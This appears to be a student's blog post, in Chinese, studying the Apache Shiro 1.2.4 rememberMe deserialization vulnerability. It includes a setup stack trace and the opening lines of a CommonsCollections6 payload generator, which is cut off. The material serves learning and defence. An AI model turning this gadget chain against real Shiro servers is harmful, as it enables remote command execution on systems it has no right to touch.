Shiro反序列化漏洞学习
前言
最近临近期末,事情变得很多,到了大二后感觉事情明显变多了,感觉人也很累,已经很久没有更新文章了,记得刚刚开始写博客是大一的时候,刚刚开始写博客也只是瞎搞,慢慢的开始注意到自己不能继续下去,于是就删除了以前的文章。尽管现在的文章质量也还是很低,但是希望自己能够慢慢进步。最近不仅要忙期末考试的事情、还要写项目,开始写项目发现自己的代码功底还是很弱,希望能在大三中改善这点。
shiro简介
简而言之,Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。
Shiro能到底能做些什么呢?
- 验证用户身份
- 用户访问权限控制,比如:1、判断用户是否分配了一定的安全角色。2、判断用户是否被授予完成某个操作的权限
- 在非 Web 或 EJB 容器的环境下可以任意使用Session API
- 可以响应认证、访问控制,或者 Session 生命周期中发生的事件
- 可将一个或以上用户安全数据源数据组合成一个复合的用户 “view”(视图)
- 支持单点登录(SSO)功能
- 支持提供“Remember Me”服务,获取用户关联信息而无需登录
具体的就自己去了解吧。
环境搭建
这里用的是p牛的代码,其实刚刚开始打算自己写的,但是弄了好久都一直有一个报错,看了看版本,网上的资料,也没找到原因,报错如下。最后用p牛的代码先学一下,希望以后能够解决这个问题。
Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [org.apache.commons.collections.keyvalue.TiedMapEntry: static final long serialVersionUID = -8453869361373831205L;]:
at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:55) ~[shiro-core-1.2.4.jar:1.2.4]
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1984) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1848) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2158) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459) ~[na:1.8.0_281]
at java.util.HashMap.readObject(HashMap.java:1410) ~[na:1.8.0_281]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_281]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_281]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_281]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_281]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1185) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2294) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2185) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501) ~[na:1.8.0_281]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459) ~[na:1.8.0_281]
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77) ~[shiro-core-1.2.4.jar:1.2.4]
... 28 common frames omitted
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.keyvalue.TiedMapEntry] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
at org.apache.shiro.util.ClassUtils.forName(ClassUtils.java:148) ~[shiro-core-1.2.4.jar:1.2.4]
at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:53) ~[shiro-core-1.2.4.jar:1.2.4]
... 46 common frames omitted
CommonCollection6
这里用的是cc6的原因也是因为看了p牛的文章,想自己脱离文章试一下。
先改写一下cc6生成payload,cc6.java改的很简单只是使原来的方法改写成返回字节数组的函数,然后再编写一个test.java将返回的字节码利用shiro 1.2.4内置的密钥进行加密,生成命令执行的rememberMe。
cc6.java
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public byte[] getPayload(String command) throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{
});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),